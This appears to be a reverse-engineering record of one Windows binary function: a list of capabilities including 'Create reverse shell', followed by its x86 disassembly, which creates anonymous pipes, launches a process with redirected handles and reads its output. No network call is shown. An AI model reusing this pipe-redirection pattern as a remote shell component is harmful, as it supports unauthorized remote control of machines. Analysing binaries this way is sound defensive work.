Function at 0x42f57f
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b9ddf
mov eax, dword fs:[0]
push eax
mov eax, 0x409c
call fcn.004a2e90
mov eax, dword [0x4fc504]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x401c], edx
mov ebx, ecx
mov dword [ebp - 0x4024], ebx
mov edi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x404c], eax
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], eax
mov dword [ebp - 0x4094], ebx
mov byte [ebx], al
mov dword [ebp - 4], eax
xor ecx, ecx
push 0xc
inc ecx
mov dword [ebp - 0x4044], eax
pop esi
push ecx
lea eax, [ebp - 0x40a8]
mov dword [ebp - 0x404c], ecx
push eax
mov dword [ebp - 0x4048], esi
mov dword [ebp - 0x4040], ecx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor eax, eax
push eax
push eax
push 1
lea eax, [ebp - 0x40a8]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea eax, [ebp - 0x40a8]
mov dword [ebp - 0x4048], esi
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x4044], eax
xor eax, eax
push eax
mov dword [ebp - 0x402c], eax
mov dword [ebp - 0x4014], eax
lea eax, [ebp - 0x4048]
push eax
lea eax, [ebp - 0x402c]
push eax
lea eax, [ebp - 0x4014]
push eax
call esi
xor eax, eax
push eax
mov dword [ebp - 0x4020], eax
mov dword [ebp - 0x4028], eax
lea eax, [ebp - 0x4048]
push eax
lea eax, [ebp - 0x4020]
push eax
lea eax, [ebp - 0x4028]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 1
push dword [ebp - 0x4014]
call esi
push 0
push 1
push dword [ebp - 0x4020]
call esi
xor ecx, ecx
mov dword [ebp - 0x4090], 0x44
xor eax, eax
mov dword [ebp - 0x408c], ecx
mov dword [ebp - 0x4060], eax
mov eax, dword [ebp - 0x4028]
mov dword [ebp - 0x4088], ecx
mov dword [ebp - 0x4084], ecx
mov dword [ebp - 0x4080], ecx
mov dword [ebp - 0x407c], ecx
mov dword [ebp - 0x4078], ecx
mov dword [ebp - 0x4074], ecx
mov dword [ebp - 0x4070], ecx
mov dword [ebp - 0x406c], ecx
mov dword [ebp - 0x4068], ecx
mov dword [ebp - 0x405c], ecx
mov dword [ebp - 0x4064], 0x101
mov dword [ebp - 0x4058], eax
mov eax, dword [ebp - 0x402c]
mov dword [ebp - 0x4054], eax
mov dword [ebp - 0x4050], eax
mov dword [ebp - 0x403c], ecx
mov dword [ebp - 0x4038], ecx
mov dword [ebp - 0x4034], ecx
mov dword [ebp - 0x4030], ecx
test edi, edi
je 0x42f73f
cmp word [edi], cx
jne 0x42f741
mov edi, ecx
lea eax, [ebp - 0x403c]
push eax
lea eax, [ebp - 0x4090]
push eax
push edi
push ecx
push 0x200
push 1
push ecx
push ecx
push dword [ebp - 0x401c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x42f8b4
cmp dword [ebp - 0x403c], 0
je 0x42f8b4
cmp dword [ebp - 0x4038], 0
je 0x42f8b4
push 0x1388
push dword [ebp - 0x403c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edi, edi
lea eax, [ebp - 0x401c]
push edi
push eax
lea eax, [ebp - 0x4018]
mov dword [ebp - 0x4018], edi
push eax
push 0x4000
lea eax, [ebp - 0x4010]
mov dword [ebp - 0x401c], edi
push eax
push dword [ebp - 0x4014]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x42f8a4
cmp dword [ebp - 0x401c], edi
jbe 0x42f8a4
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x4018]
push edi
push eax
push 0x4000
lea eax, [ebp - 0x4010]
push eax
push dword [ebp - 0x4014]
call ebx
mov edi, eax
test edi, edi
je 0x42f89e
mov esi, dword [ebp - 0x4024]
mov eax, dword [ebp - 0x4018]
test eax, eax
je 0x42f898
lea ecx, [ebp - 0x4010]
add eax, ecx
push eax
mov eax, ecx
mov ecx, esi
push eax
call fcn.00430075
xor eax, eax
push eax
mov dword [ebp - 0x4018], eax
lea eax, [ebp - 0x401c]
push eax
lea eax, [ebp - 0x4018]
push eax
push 0x4000
lea eax, [ebp - 0x4010]
push eax
push dword [ebp - 0x4014]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x42f894
cmp dword [ebp - 0x401c], 0
je 0x42f894
xor eax, eax
push eax
lea eax, [ebp - 0x4018]
push eax
push 0x4000
lea eax, [ebp - 0x4010]
push eax
push dword [ebp - 0x4014]
call ebx
mov edi, eax
test edi, edi
jne 0x42f81b
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x4024]
push dword [ebp - 0x403c]
call esi
push dword [ebp - 0x4038]
call esi
push dword [ebp - 0x4014]
call esi
push dword [ebp - 0x402c]
call esi
push dword [ebp - 0x4028]
call esi
push dword [ebp - 0x4020]
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004906a0
mov esp, ebp
pop ebp
ret